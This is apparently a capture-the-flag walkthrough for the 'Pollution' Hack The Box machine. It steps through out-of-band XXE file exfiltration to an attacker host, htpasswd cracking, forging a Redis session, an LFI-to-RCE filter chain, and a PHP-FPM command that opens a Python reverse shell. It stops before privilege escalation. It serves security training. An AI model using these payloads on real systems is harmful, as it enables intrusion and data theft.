Pollution

Overview

A hard Linux machine created by Tr1s0n features techniques including:

  • Web Enumeration

  • XML External Entity

  • Redis Session Handler

  • PHP LFI to RCE

  • PHP-FPM

Reconnaissance

Services Discovery

We found ports 22 and 80 open on the target.

$ sudo nmap -n -Pn -oN ports.txt -v -p- -sS -T4 --min-rate 1000 10.129.228.126
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

URL Path Discovery

We can find the following URL paths without authentication:

  • /login

  • /register

We registered a new account via /register and we can find more paths including:

  • /home

  • /logout

vHosts

On the home page, we see the email address info@collect.htb, and hence we shall add the domain to the file /etc/hosts.

We can then use the tool ffuf to try to fuzz the vHosts and we shall see the virtual hosts forum and developers exist.

ffuf -u http://10.129.228.126 -H 'Host: FUZZ.collect.htb' -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 26197

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.228.126
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.collect.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 26197
________________________________________________

forum                   [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 436ms]
developers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 6ms]
:: Progress: [4997/4997] :: Job [1/1] :: 620 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

The host developers.colloect.htb requires us to be authenticated through HTTP authentication.

$ curl http://developers.collect.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.54 (Debian) Server at developers.collect.htb Port 80</address>
</body></html>

Forum

The virtual host forum.collect.htb hosts a forum powered by MyBB.

The forum

In a thread, we found an attachment that can be downloaded via a valid account.

The attachment can be downloaded via a valid forum account

The content of the attachment is generated by the BurpSuite with base64 encoded request/response payload.

Admin Role

We see a relevant URL collect.htb/set/role/admin in the file.

$ grep '\.htb' forum/burp.xml 
    <url><![CDATA[http://collect.htb/set/role/admin]]></url>
...

By decoding the payload, we see the admin token may be used to set our account to be of the admin role.

$ echo 'UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==' | base64 -d
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

We successfully updated our collect.htb account to the admin role using that token and we see that we are redirected to /admin.

We can access the administration panel now.

Internal API

There's a form on the admin page which will post data in the XML format.

The form will send data in the XML format

It looks like the form data is passed to an internal API.

Initial Access

XXE

We try to test if the endpoint /api above has the XXE vulnerability.

From the error message, we see that the endpoint may have the XXE vulnerability.

Out-of-band XXE

We can exfiltrate data by serving an external malicious DTD file as the following explanation.

To demonstrate the out-of-band XXE, we set up an Express app which will

  • serve the varying DTD files and

  • decode the base64 encoded out-of-band information,

const express = require('express')
const app = express()
const port = 8000

app.use(express.static('public'))

app.get('/', (req, res) => {
    try {
        console.log(Buffer.from(req.query.leak.replace(/ /g, '+'), 'base64').toString())
    } catch(e) {
    }
    res.send('ok');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Then we can use the following Python script to read files on the target interactively.

#!/usr/bin/env python3

import cmd
import requests

class Lfi(cmd.Cmd):
    def __init__(self):
        super().__init__()

    def emptyline(self):
        pass

    def default(self, path):
        content = f'''<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={path}">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://10.10.14.10:8000/?leak=%file;'>">
%payload;
%run;'''
        with open('./http/public/oob.dtd', 'w') as dtd:
            dtd.write(content)
        proxies = {
            'http': 'http://localhost:8080'
        }
        cookies = {
            'PHPSESSID': '2slrifhvc8652e7t8tg1116liq'
        }
        data = {
            'manage_api': '''<!DOCTYPE root [<!ENTITY % xpl
SYSTEM "http://10.10.14.10:8000/oob.dtd">%xpl;]><root><method>POST</method>
<uri>/auth/register</uri> <user><username>test</username><password>test</password>
</user></root>'''
        }
        requests.post('http://collect.htb/api', proxies=proxies, cookies=cookies, data=data)

l = Lfi()
l.cmdloop()

We see that we can read the local files now.

Read file using Out-of-band XXE

Given that, there's a virtual host developers.collect.htb, here we need to guess the config file's name for it.

The config file for site developers.collect.htb

We see the usage of the .htpasswd file in the config and we shall try to crack the password to access the site.

htpasswd Crack

We can try to crack the htpasswd hash using hashcat with mode 1600.

$ hashcat -m 1600 <htaccess_hashes> <wordlist
$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket     
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
Time.Started.....: Sun Sep  3 15:31:17 2023 (13 secs)
Time.Estimated...: Sun Sep  3 15:31:30 2023 (0 secs)
Guess.Base.......: File (/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16400 H/s (7.21ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 214272/14344384 (1.49%)
Rejected.........: 0/214272 (0.00%)
Restore.Point....: 214016/14344384 (1.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: rayburn -> public1

We successfully got the credential developers_group:r0cket.

Developers

After we get access to the site developers.collect.htb, we use the file-reading ability to inspect the source code of the site.

We see that we need to be authenticated to access the page index.php.

/var/www/developers/index.php
<?php                                                                                                                                                
require './bootstrap.php';                                                                                                                           
                                                                                                                                                     
                                                                                                                                                     
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {                                                                                        
    die(header('Location: /login.php'));                                                                                                             
}                                                                                                                                                    
                                                                                                                                                     
if (!isset($_GET['page']) or empty($_GET['page'])) {                                                                                                 
    die(header('Location: /?page=home'));                                                                                                            
}                                                                                                                                                    
                                                                                                                                                     
$view = 1;                                                                                                                                           
                                                                                                                                                     
?>                                                                                                                                                   
                                                                                                                                                     
<!DOCTYPE html>                                                                                                                                      
<html lang="en">                                                                                                                                     
                                                                                                                                                     
<head>                                                                                                                                               
    <meta charset="UTF-8">                                                                                                                           
    <meta http-equiv="X-UA-Compatible" content="IE=edge">                                                                                            
    <meta name="viewport" content="width=device-width, initial-scale=1.0">                                                                           
    <script src="assets/js/tailwind.js"></script>                                                                                                    
    <title>Developers Collect</title> 
</head>                              

<body>
...

We found there's an LFI vulnerability we can exploit if we can get authenticated.

...
    <div class="flex flex-col h-screen justify-between">
        <?php include("header.php"); ?>
                                     
        <main class="mb-auto mx-24">
            <?php include($_GET['page'] . ".php"); ?>
        </main>                      

        <?php include("footer.php"); ?>
    </div>                           

</body>                              

</html>

By inspecting the file bootstrap.php, we see that the site uses Redis to manage sessions, refer to session.save_hander.

Redis Session Handler

We can authenticate to the Redis server using nc with password COLLECTR3D1SPASS found above.

$ nc -v collect.htb 6379
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK

We can manipulate our session data to be authenticated via the above Redis connection.

$nc -v collect.htb 6379                                              
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK
keys *
*2
$43
PHPREDIS_SESSION:2slrifhvc8652e7t8tg1116liq
$43
PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon
set "PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon" "auth|b:1;"
+OK

We can access the page and abuse the LFI now.

LFI to RCE

With full control of the PHP include path, we may try to upgrade the LFI ability to RCE via PHP filters.

As in the above article, we can get the RCE using a chain of PHP filters.

Lateral Movement

PHP-FPM

We first found the port 9000, which may be used by PHP-FPM, is opened on the localhost.

We can check if this port is used by php-fpm using ps and check the user running it is victor by checking the config www.conf under /etc/php/8.1/fpm/pool.d, refer to the documentation.

List of pool directives

With FPM you can run several pools of processes with different setting. These are settings that can be tweaked per pool.

... SNIP

user string

Unix user of FPM processes. This option is mandatory.

FastCGI Protocol

We can talk to the PHP-FPM using the FastCGI Procotol.

By uploading the Python script fpm.py, we can run commands under the user victor now.

We can use Python to get our reverse shell now.

(Cmd) python3 /tmp/fpm.py localhost /var/www/developers/index.php -c "<?php system(\"python3 -c 'import socket,pty,os;s=socket.socket();s.connect((\\\"10.10.14.6\\\",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\\\"/bin/bash\\\");'\");?>"

Privilege Escalation

We found an Express app source code under the user victor's home directory and the app seems to be running under the user root.

The story goes on...

Reference

XXE Labs

Last updated